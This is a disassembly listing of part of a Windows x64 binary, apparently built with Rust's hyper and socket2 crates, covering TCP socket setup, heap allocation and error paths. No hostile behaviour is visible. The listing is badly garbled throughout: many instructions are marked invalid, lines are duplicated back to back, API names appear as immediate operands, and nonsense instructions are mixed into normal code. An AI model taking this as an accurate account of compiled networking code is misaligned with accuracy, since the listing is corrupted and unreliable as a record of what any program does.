movups xmmword [rsi + 0x2d0], xmm0
movups xmmword [rsi + 0x2d9], xmm0
xchg cl, bl
add al, byte [rax]
add byte [rbx + 0x1a085], cl
add byte [rbx + 0x1a38d], cl
add byte [rcx + 0x2e986], cl
add byte [rcx + 0x2ec8e], cl
add dh, al
xchg al, dh
add al, byte [rax]
add byte [rax], al
xchg cl, bl
add al, byte [rax]
add byte [rbx + 0x1a085], cl
add byte [rbx + 0x1a38d], cl
add byte [rcx + 0x2e986], cl
add byte [rcx + 0x2ec8e], cl
add dh, al
xchg al, dh
add al, byte [rax]
add byte [rax], al
mov eax, dword [rbp + 0x1a8]
mov ecx, dword [rbp + 0x1ab]
mov dword [rsi + 0x2f1], eax
mov dword [rsi + 0x2f4], ecx
movaps xmm0, xmmword [rbp + 0x1b0]
movaps xmm1, xmmword [rbp + 0x1c0]
sub byte [rbp + 0x1c0], cl
movaps xmm2, xmmword [rbp + 0x1d0]
movaps xmm3, xmmword [rbp + 0x1e0]
movups xmmword [rsi + 0x2f8], xmm0
movups xmmword [rsi + 0x308], xmm1
movups xmmword [rsi + 0x318], xmm2
movups xmmword [rsi + 0x328], xmm3
movaps xmm0, xmmword [rbp + 0x1f0]
movups xmmword [rsi + 0x338], xmm0
adc dword [rsi + 0x338], eax
adc dword [rsi + 0x338], eax
movaps xmm0, xmmword [rbp + 0x200]
movups xmmword [rsi + 0x348], xmm0
movaps xmm0, xmmword [rbp + 0x210]
movups xmmword [rsi + 0x358], xmm0
movaps xmm0, xmmword [rbp + 0x220]
movups xmmword [rsi + 0x368], xmm0
lea r13, [rsi + 0x288]
lea r15, [rsi + 0x2f8]
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0xe0]
cmp eax, 1
je 0x14010c566
xor edi, edi
test eax, eax
jne 0x14010c591
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp byte [rax + 0xdc], 0
setne cl
cmp byte [rax + 0xdd], 0
sete dil
and dil, cl
lea rcx, [rbp - 0x30]
mov rdx, r15
mov r8, qword [rbp + 0x238]
call fcn.14010d690
mov r14, qword [rbp - 0x30]
cmp r14, 3
jne 0x14010c6f4
adc dword [rax], eax
mov byte [rax + 0x10], WSAStartup
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x14010c792
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14010ce06
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 8
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14010ce06
mov r13, rax
mov qword [rax], r15
mov byte [rsi + 0x280], 1
mov rcx, qword [rbp + 0x268]
call fcn.14010cfe0
mov r8, qword [rsi + 0x20]
test r8, r8
je 0x14010c817
cmp qword [rsi + 0x28], 0
je 0x14010c7e1
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r14, qword [rsi + 0x30]
test r14, r14
je 0x14010c817
mov rdi, qword [rsi + 0x38]
mov rcx, r14
call qword [rdi]
cmp qword [rdi + 8], 0
je 0x14010c817
cmp qword [rdi + 0x10], 0x11
jb 0x14010c805
mov r14, qword [r14 - 8]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, r14
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov qword [rsi + 0x20], r12
mov qword [rsi + 0x28], setsockopt
mov qword [rsi + 0x30], r13
lea rax, [0x1401d2c10]
mov qword [rsi + 0x38], rax
mov rax, qword [rsi + 0x40]
mov rcx, qword [rax + 0x10]
mov r15, r12
cmp rcx, qword [rax + 0x18]
jne 0x14010ba04
jmp 0x14010b9d7
mov byte [rbp + 0x240], 1
lea rax, [rbp + 0x240]
mov qword [rbp + 0x1b0], rax
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_socket2_0.4.9_src_syswindows.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x140215238]
lea r9, [0x1401da8d0]
lea r8, [rbp + 0x1b0]
xor edx, edx
call fcn.140165b60
jmp 0x14010ba7b
mov al, 4
mov byte [rsi + 0x280], al
mov rax, qword [rbp + 0x158]
mov qword [rax], 3
mov al, 3
jmp case.0x1400e4b0f.253
mov r15, qword [rsi + 0x20]
test r15, r15
jne 0x14010b9e0
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x14010c97a
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14010cf04
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, reloc.WS2_32.dll_send
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14010cf04
mov rbx, rax
movups xmm0, xmmword [str.Network_unreachabletcp_connect_error]
movups xmmword [rax], xmm0
mov dword [rax + 0xf], 0x656c6261
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x14010c9d1
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14010cf15
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x18
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14010cf15
mov rdi, rax
mov qword [rax], rbx
mov qword [rax + 8], reloc.WS2_32.dll_send
mov qword [rax + 0x10], reloc.WS2_32.dll_send
add byte [rax], al
add byte [rdi], cl
mov dh, 5
mov dword [rax], edx
add byte [rax - 0x75], cl
or eax, 0x108954
test rcx, rcx
jne 0x14010ca2a
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14010cf26
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x18
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
adc eax, 0x5b600
test rax, rax
je 0x14010cf26
mov rbx, rax
mov qword [rax], rdi
lea rax, fcn.140022090
pop rbp
or al, 0
mov qword [rbx + 8], rax
mov byte [rbx + 0x10], 7
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x14010ca82
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
sal dword [rbp - 0x7ab7fffb], 0xc0
je 0x14010ce17
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, setsockopt
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14010ce17
mov r15, rax
movups xmm0, xmmword [0x1401d6713]
jo 0x14010ca3d
or al, 0
movups xmmword [rax], xmm0
mov byte [rax + 0x10], WSAStartup
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x14010cad6
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14010ce06
mov rcx, rax
mov qword [0x140215360], rax
mov byte [rax], dl
invalid
mov r8d, 8
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14010ce06
add byte [rax], al
mov r12, rax
inc rbx
mov qword [rax], rbx
lea rbx, [0x1401d2c10]
lea ebx, [0x1401d2c10]
lea ebx, [0x1401d2c10]
mov edi, setsockopt
add byte [rax], al
add byte [rcx - 0x42], al
add al, byte [rax]
add byte [rax], al
mov r14d, 2
jmp 0x14010cdd0
call sub.KERNEL32.dll_GetLastError
mov ebx, eax
movzx eax, byte [0x1402153f8]
fisttp qword [rax - 0x74b7fff0]
or eax, 0x10883e
fisttp qword [rax - 0x74b7fff0]
or eax, 0x10883e
test rcx, rcx
jne 0x14010cb40
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
add eax, 0xc0854800
je 0x14010ced1
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, recv
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
add byte [rax], al
add byte [rcx], dh
sar bh, cl
adc eax, 0x5b4ea
test rax, rax
je 0x14010ced1
mov r15, rax
movabs rax, 0x726f727265206e65
mov qword [r15 + 6], rax
movabs rax, 0x6e65706f20706374
invalid
jo 0x14010cb8e
outsd dx, dword [rsi]
jo 0x14010cbd6
outsb dx, byte [rsi]
mov qword [r15], rax
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
invalid
test rcx, rcx
jne 0x14010cba1
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14010ce06
mov ah, 5
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
outsd dx, dword [rsi]
add al, byte [rax]
add byte [rax - 0x77], cl
ror dword [rax - 0x77], 5
mov dword [0x140215360], eax
mov r8d, 8
mov rcx, rax
mov qword [0x140215360], rax
mov dword [0x140215360], eax
mov dword [0x140215360], eax
mov r8d, 8
or byte [rax], al
add byte [rax], al
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [rbp + rax - 0x3f7ab800], esi
mov dword [rbp + rax - 0x3f7ab800], esi
je 0x14010ce06
test byte [rsi + 2], cl
add byte [rax], al
mov r12, rax
shl rbx, 0x20
or rbx, 2
mov qword [rax], rbx
mov edi, recv
jmp case.0x1400e6090.208
call sub.KERNEL32.dll_GetLastError
mov ebx, eax
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
adc byte [rax], al
test rcx, rcx
jne case.0x1400ea9e6.157
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
adc eax, 0x5b440
test rax, rax
je 0x14010cee2
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x19
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14010cee2
mov r15, rax
movups xmm0, xmmword [0x1401abcc9]
movups xmmword [rax + 9], xmm0
movups xmm0, xmmword [str.tcp_set_nonblocking_errortcp_bind_local_error]
or dword [rax], eax
movups xmmword [rax], xmm0
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x14010cc5e
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14010ce06
mov r8d, 8
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14010ce06
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
invalid
xchg byte [rax], dl
adc byte [rax], al
test rcx, rcx
jne 0x14010ccb9
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x14010cd10
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14010ce06
add dword [rax], eax
invalid
add byte [rcx], al
add byte [rax], al
add dword [rax], eax
add byte [rax - 0x77], cl
ror dword [rax - 0x77], 5
push rax
xchg byte [rax], dl
mov rcx, rax
mov qword [0x140215360], rax
invalid
add byte [rcx - 0x48], al
or byte [rax], al
add byte [rax], al
mov r8d, 8
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14010ce06
mov r12, rax
mov qword [rax], r13
sub byte [rdi + 0x14], bh
mov rcx, r14
call qword [sym.imp.WS2_32.dll_closesocket]
invalid
invalid
mov qword [rsi + 0x78], r15
mov qword [rsi + 0x80], rdi
mov qword [rsi + 0x88], r12
add byte [rax], al
lea rbx, [0x1401aa710]
mov qword [rsi + 0x90], rbx
mov dword [rsi + 0x70], 0x3b9aca01
mov r14d, 2
mov esi, 2
mov esi, 2
add byte [rax], al
add byte [rbx + rcx*4 + 0x46], cl
and byte [rbp - 0x7b], cl
sal byte [rdi + rbx*2 + 0x48], 0x83
invalid
mov r8, qword [rsi + 0x20]
test r8, r8
je 0x14010cdd0
cmp qword [rsi + 0x28], 0
jle 0x14010cd9d
add byte [rdi + rcx + 0x48], dh
mov ecx, dword [0x140215360]
loope 0x14010cd02
adc byte [rax], al
je 0x14010cd87
mov rcx, qword [0x140215360]
loope 0x14010cd02
adc byte [rax], al
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rsi + 0x30]
test rcx, rcx
je 0x14010cdd0
mov r13, qword [rsi + 0x38]
mov ebp, dword [rsi + 0x38]
cmp byte [rax - 0x77], cl
lea ebp, [rax + 2]
add al, byte [rax]
invalid
mov qword [rbp + 0x268], rcx
call qword [r13]
cmp qword [r13 + 8], 0
je 0x14010cdd0
push rbp
add byte [rcx - 0x7d], cl
jge case.0x1400e8a72.180
add byte [rdx + rbp + 0x49], dh
cmp dword [rbp + 0x10], 0x11
cmp qword [r13 + 0x10], 0x11
jae 0x14010cdb6
mov r8, qword [rbp + 0x268]
jmp 0x14010cdc1
mov r8, qword [rbp + 0x268]
add byte [rax], al
mov r8, qword [r8 - 8]
mov rcx, qword [0x140215360]
or eax, 0x108598
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
adc eax, 0x5b258
adc eax, 0x5b258
mov rax, qword [rbp + 0x158]
mov eax, dword [rbp + 0x158]
mov qword [rax], r14
mov qword [rax + 8], r15
mov dword [rax + 8], edi
mov dword [rax + 8], edi
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], r12
mov dword [rax + 0x18], esp
mov dword [rax + 0x18], esp
mov qword [rax + 0x20], rbx
mov al, 1
mov byte [rsi + 0x378], al
add rsp, 0x2f8
add esp, 0x2f8
add byte [rax - 0x7f], cl
invalid
add esp, 0x2f8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop rsi
pop rsi
pop r15
pop rbp
ret
mov ecx, 8
mov edx, 8
call fcn.14015d7f0
fisttp dword [rcx]
invalid
add byte [rdi], cl
invalid
fisttp dword [rcx]
add eax, 0xb90b0f00
invalid
invalid
or edi, dword [rcx + 1]
mov ecx, 1
add dword [rax], eax
add byte [rax], al
mov edx, setsockopt
call fcn.14015d7f0
ud2
invalid
or edi, dword [rcx + 8]
invalid
sbb byte [rax], al
invalid
ud2
cmp eax, dword [rbp + rax]
add eax, 0x480b0f00
lea ecx, str._async_fn__resumed_after_completionunable_to_find_any_user_specified_roots_in_the_final_cert_chain
ud2
or ecx, dword [rax - 0x73]
or eax, 0xc5902
lea rcx, str._async_fn__resumed_after_completionunable_to_find_any_user_specified_roots_in_the_final_cert_chain
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_srcclientconnecthttp.rs
add byte [rdx + 0x23], bh
mov edx, 0x23
call fcn.140160fb0
ud2
lea rax, str.overflow_in_Duration::new
or al, 0
mov qword [rbp + 0x108], rax
mov qword [rbp + 0x110], 1
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
lea rax, [0x140204680]
mov qword [rbp + 0x118], rax
add byte [rax], al
add byte [rax - 0x77], cl
test dword [rax], ebx
add dword [rax], eax
add byte [rax], al
xorps xmm0, xmm0
movups xmmword [rbp + 0x120], xmm0
lea rdx, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_time.rs
add byte [rax], al
xorps xmm0, xmm0
movups xmmword [rbp + 0x120], xmm0
lea rdx, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_time.rs
lea rcx, [rbp + 0x108]
call fcn.140160e20
ud2
invalid
lea rcx, [0x1401df508]
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_srcclientconnecthttp.rs
mov edx, reloc.WS2_32.dll_WSAStartup
call fcn.140161290
ud2
invalid
or edi, dword [rcx + 1]
mov ecx, 1
mov edx, recv
call fcn.14015d7f0
add byte [rdi], cl
invalid
mov ecx, 1
mov edx, 0x19
call fcn.14015d7f0
add byte [rdi], cl
invalid
add byte [rdi], cl
or edi, dword [rcx + 1]
mov edx, setsockopt
add byte [rax], al
call fcn.14015d7f0
ud2
add eax, 0xb90b0f00
add dword [rax], eax
add byte [rax], al
mov ecx, 1
mov edx, reloc.WS2_32.dll_send
call fcn.14015d7f0
invalid
invalid
invalid
or byte [0xf91bde16], al
or byte [rax], al
add byte [rax], al
ud2
mov ecx, 8
mov edx, 0x18
call fcn.14015d7f0
ud2
mov qword [rbp + 0x268], rdi
mov ecx, 8
add byte [rax], al
mov edx, 0x18
call fcn.14015d7f0
jmp case.0x14010c000.2
mov qword [rsp + 0x10], rdx
mov dword [rsp + 0x10], edx
push rbp
push r15
push r14
push r13
push rbp
push rbp
push r12
push rsi
push rdi
push rbx
sub rsp, 0x48
lea rbp, [rdx + 0x80]
add byte [rax - 0x73], cl
adc eax, 0xc5875
add byte [rax - 0x73], cl
adc eax, 0xc5875
mov rcx, qword [rbp + 0x268]
call fcn.1401372e0
nop
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
sub rsp, 0x48
lea rbp, [rdx + 0x80]
add byte [rax - 0x73], cl
adc eax, 0xc5d3d
or al, 0
add byte [rax - 0x73], cl
adc eax, 0xc5d3d
or al, 0
or al, 0
mov ecx, 1
call fcn.1401372e0
add al, byte [rax]
nop
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r13
pop r14
pop r15
pop rbp
ret
mov dh, 0x81
nop
add byte [rax], al
add byte [rbp - 0x7ccb8b40], al
cmp eax, 3
je 0x14010d013
cmp eax, 4
jne 0x14010d03a
movzx eax, byte [rcx + 0x110]
cmp eax, 3
je 0x14010d013
cmp eax, 4
jne 0x14010d03a
movzx eax, byte [rcx + 0x110]
cmp eax, 3
je 0x14010d03b
test eax, eax
jne 0x14010d03a
mov rcx, qword [rcx + 0xb8]
jmp qword [sym.imp.WS2_32.dll_closesocket]
invalid
invalid
add eax, 0xc1814800
cwde
add rcx, 0x98
jmp fcn.14010d610
add byte [rax], al
add cl, ch
int1
add eax, 0xb60f0000
or dword [rax - 0x7d000000], 0x1c7403f8
test eax, eax
jne 0x14010d03a
mov rcx, qword [rcx + 0x30]
jmp qword [sym.imp.WS2_32.dll_closesocket]
invalid
mov bl, 5
invalid
xor byte [r8 - 1], cl
and eax, 0x5b31e
invalid
mov bl, 5
invalid
invalid
ret
add rcx, 0xc8
jmp fcn.14010d580
invalid
invalid
add byte [rax], al
invalid
add cl, ch
cmp dword [0xc358d049], eax
add byte [rax - 0x7d], cl
rol dword [rax - 0x17], 0x30
add eax, 0x57560000
push rsi
push rdi
jmp fcn.14010d580
add byte [rax], al
add byte [rax - 0x77], cl
invalid
adc eax, 0x5af8d
add al, byte [rax]
add byte [rax - 0x77], cl
int1
add byte [rdi], cl
test byte [rsi + 0x48000002], bl
sahf
add al, byte [rax]
add byte [rax - 0x75], cl
invalid
sahf
add al, byte [rax]
add byte [rax - 0x75], cl
add eax, esi
lock dec qword [rax]
or byte [rdi], cl
test dword [rdi - 0x17fffffe], ebx
lahf
add al, byte [rax]
add al, ch
lahf
add al, byte [rax]
add al, ch
in al, 0xeb
cli
invalid
mov gs, eax
or eax, dword [rax]
add byte [rax], al
invalid
idiv dh
invalid
cmovs ecx, dword [rbx + 0x1082550d]
add byte [rcx], dh
sar bh, cl
adc eax, 0x5af15
scasd eax, dword [rdi]
add eax, 0xbe8b4800
add byte [rax - 0x75], cl
mov esi, 0xa28
scasd eax, dword [rdi]
add eax, 0xbe8b4800
add byte [rax - 0x75], cl
mov esi, 0xa28
test rdi, rdi
je 0x14010d32d
add al, byte [rax]
invalid
mov rbx, qword [rsi + 0xa30]
xor byte [rdx], cl
add byte [rax], al
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
cmp dword [rbx + 8], 0
cmp dword [rbx + 8], 0
je 0x14010d32d
cmp qword [rbx + 0x10], 0x11
jb 0x14010d145
invalid
add al, 0x48
mov rdi, qword [rdi - 8]
mov edi, dword [rdi - 8]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rdi
jmp 0x14010d327
add byte [rax], al
or byte [rbp + 5], dh
call fcn.140005950
mov rax, qword [rsi + 0x998]
test rax, rax
je 0x14010d221
mov rcx, qword [rsi + 0x9a0]
call qword [rax + 0x18]
cmp byte [rsi + 0x948], 3
jne 0x14010d297
lea rcx, [rsi + 0x7c0]
call fcn.14010cfe0
mov r8, qword [rsi + 0x5f0]
test r8, r8
je 0x14010d297
cmp qword [rsi + 0x5f8], 0
je 0x14010d25b
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rdi, qword [rsi + 0x600]
test rdi, rdi
test edi, edi
test edi, edi
je 0x14010d297
mov rbx, qword [rsi + 0x608]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x14010d297
cmp qword [rbx + 0x10], 0x11
jb 0x14010d285
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
xchg ecx, eax
lodsd eax, dword [rsi]
add eax, 0xc8be8000
add eax, 0x75030000
insd dword [rdi], dx
cmp byte [rsi + 0x5c8], 3
jne 0x14010d30d
lea rcx, [rsi + 0x440]
call fcn.14010cfe0
mov r8, qword [rsi + 0x270]
test r8, r8
je 0x14010d30d
cmp qword [rsi + 0x278], 0
je 0x14010d2d1
mov rcx, qword [0x140215360]
mov ecx, dword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rdi, qword [rsi + 0x280]
test rdi, rdi
je 0x14010d30d
mov rbx, qword [rsi + 0x288]
mov rcx, rdi
add byte [rax - 0x77], cl
stc
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x14010d30d
cmp qword [rbx + 0x10], 0x11
adc byte [rcx], dl
jb 0x14010d2fb
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rsi + 0x228], 0
je 0x14010d32d
call qword [sym.imp.KERNEL32.dll_HeapFree]
and eax, 0x5acd0
mov rdx, qword [rcx + 0x10]
lea rbx, [rbp + 0xb8]
mov rcx, rbx
mov r8, r15
mov r9b, 1
call case.0x1401327c8.502
movzx eax, byte [rbp + 0xc1]
cmp al, 3
jne 0x14010db07
mov byte [rdi], 3
mov qword [r14], 3
mov al, 3
jmp 0x14010de17
popfq
invalid
mov rax, qword [rbp + 0x48]
lock dec qword [rax]
jne 0x14010dd8a
call fcn.1401439e0
jmp 0x14010dd8a
cmp al, 2
jne 0x14010db17
mov r12, qword [rbp + 0xb8]
jmp 0x14010e1bc
mov rcx, qword [rsi + 0x58]
cmp rcx, 0xffffffffffffffff
je 0x14010e5ad
mov dword [rbp + 0x88], 0
mov dword [rbp + 0xb8], 4
mov qword [rsp + 0x20], rbx
lea r9, [rbp + 0x88]
mov edx, 0xffff
mov r8d, 0x1007
call qword [sym.imp.WS2_32.dll_getsockopt]
cmp eax, 0xffffffff
je 0x14010e1ab
movsxd r12, dword [rbp + 0x88]
test r12, r12
jne 0x14010e1b4
mov rdi, qword [rsi + 0x40]
mov r12, qword [rsi + 0x48]
mov rax, qword [rsi + 0x60]
mov qword [rbp + 0x30], rax
movups xmm0, xmmword [rsi + 0x50]
movaps xmmword [rbp + 0x20], xmm0
mov byte [rsi + 0x70], 1
cmp rdi, 3
je 0x14010d723
jmp 0x14010dde5
mov rcx, r14
call fcn.1400051c0
mov r14, qword [rbp + 0x150]
lea rcx, [rbp + 0x48]
cmp qword [rbp + 0x40], 0
jne 0x14010daef
mov rax, qword [rbp + 0x48]
lock dec qword [rax]
jne 0x14010dd8a
call fcn.1401438f0
test r15, r15
je 0x14010ddd0
lea rbx, [r15 + 8]
mov rcx, qword [r15 + 8]
call fcn.14009e520
mov rax, qword [r15]
lock dec qword [rax]
jne 0x14010ddad
mov rcx, r15
call fcn.1400059f0
mov rax, qword [rbx]
lock dec qword [rax]
jne 0x14010ddbe
mov rcx, rbx
call fcn.140005b70
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, r15
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rbp + 0x158]
call qword [sym.imp.WS2_32.dll_closesocket]
mov byte [rdi], 1
mov edi, 2
mov rax, qword [rbp + 0x30]
mov qword [rbp + 0x10], rax
movaps xmm0, xmmword [rbp + 0x20]
movaps xmmword [rbp], xmm0
mov rcx, r13
call fcn.14010d580
mov qword [r14], rdi
mov qword [r14 + 8], r12
movaps xmm0, xmmword [rbp]
movups xmmword [r14 + 0x10], xmm0
mov rax, qword [rbp + 0x10]
mov qword [r14 + 0x20], rax
mov al, 1
mov byte [rsi + 0x78], al
movaps xmm6, xmmword [rbp + 0x180]
add rsp, 0x218
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x14010dfea
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14010e5c7
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x80
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14010e5c7
mov rbx, rax
mov qword [rax], 1
mov qword [rax + 8], 1
mov r13, rax
add r13, 0x10
mov qword [rax + 0x10], 0
mov byte [rax + 0x18], 0
mov dword [rax + 0x20], 0
mov qword [rax + 0x28], r15
xorps xmm0, xmm0
movups xmmword [rax + 0x30], xmm0
movups xmmword [rax + 0x40], xmm0
movups xmmword [rax + 0x50], xmm0
mov qword [rax + 0x60], rdi
movups xmmword [rax + 0x68], xmm0
mov word [rax + 0x78], 0
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_AcquireSRWLockExclusive]
mov rax, qword [0x1402153f0]
shl rax, 1
test rax, rax
jne case.0x1400693d1.2186
movzx eax, byte [rbx + 0x18]
test al, al
jne 0x14010e6c3
mov dword [rbx + 0x70], 0x19d
mov rax, qword [rbp + 0x140]
mov qword [rbx + 0x68], rax
mov rax, qword [0x1402153f0]
shl rax, 1
test rax, rax
jne 0x14010e4ad
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
mov rax, qword [rbp + 0x58]
lock inc qword [rax]
jle 0x14010e557
lock inc qword [rbx]
mov r13, qword [rbp + 0x168]
mov rax, qword [rbp + 0x140]
jle 0x14010e557
mov rdi, qword [rbp + 0x58]
lea r15, [rdi + 0x10]
mov qword [rbp + 0xb8], rdi
mov qword [rbp + 0xc8], rax
mov byte [rbp + 0xd0], 3
mov qword [rbp + 0xc0], rbx
mov rcx, r15
mov rdx, rbx
call fcn.14009e420
movzx eax, byte [rdi + 0x78]
test al, al
je 0x14010e166
mov rcx, r15
call fcn.14009c070
test rax, rax
je 0x14010e166
mov rbx, rax
mov rcx, qword [rbp + 0xc0]
call fcn.14009e520
mov rax, qword [rbp + 0xb8]
lock dec qword [rax]
jne 0x14010e136
lea rcx, [rbp + 0xb8]
call fcn.1400059f0
mov rax, qword [rbp + 0xc0]
lock dec qword [rax]
mov rdi, qword [rbp + 0x170]
mov r15, qword [rbp + 0x160]
jne 0x14010e46b
lea rcx, [rbp + 0xc0]
call fcn.140005b70
jmp 0x14010e46b
lea rax, [rbp + 0xc8]
mov rdi, qword [rbp + 0xb8]
mov rbx, qword [rbp + 0xc0]
movups xmm0, xmmword [rax]
movaps xmmword [rbp - 0x30], xmm0
test rdi, rdi
je 0x14010e45d
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
je 0x14010e2c2
mov r15, qword [rbp + 0x50]
jmp 0x14010e2df
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov r12d, eax
shl r12, 0x20
or r12, 2
lea rcx, [rsi + 0x40]
call fcn.140100e40
jmp 0x14010dddd
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
add bh, al
invalid
test dword [rax], ecx
mov dword [rbp + 0x88], 0
movups xmmword [rsp + 0x38], xmm6
invalid
add byte [rax], al
add byte [rdi], cl
adc dword [rsp + 0x38], esi
invalid
cmp byte [rcx + rcx*4 + 0x6c], cl
and al, 0x30
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x20], rcx
mov dword [rsp + 0x20], ecx
mov dword [rsp + 0x28], 8
mov rcx, rdi
stc
sub byte [rax], cl
add byte [rax], al
add byte [rax - 0x77], cl
stc
mov edx, 0x4800001c
xor r8d, r8d
xor eax, eax
xor eax, eax
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_WSAIoctl]
cmp eax, 0xffffffff
je 0x14010e246
mov rax, rdi
mov rdi, qword [rbp + 0xb8]
cmp rdi, rax
jne 0x14010dfbe
jmp 0x14010e24c
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
adc al, 0xa1
add eax, 0x85c74800
mov eax, 0
add byte [rax], al
add bh, al
test dword [rax], ecx
add byte [rax], al
add byte [rdi], cl
push rdi
ror byte [rdi], 0x11
and al, 0x38
mov qword [rbp + 0xb8], 0
mov dword [rbp + 0x88], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x30], r13
lea rax, [rbp + 0xb8]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x28], 8
mov r13, qword [rbp + 0x158]
mov rcx, r13
mov edx, 0x4800001d
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_WSAIoctl]
cmp eax, 0xffffffff
je 0x14010e3c5
mov rdi, qword [rbp + 0xb8]
cmp rdi, r13
lea rax, [rbp + 0x88]
jne 0x14010dfbe
jmp 0x14010e3d2
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
mov r15, qword [rbp + 0x50]
je 0x14010e6ff
mov rcx, rax
mov qword [0x140215360], rax
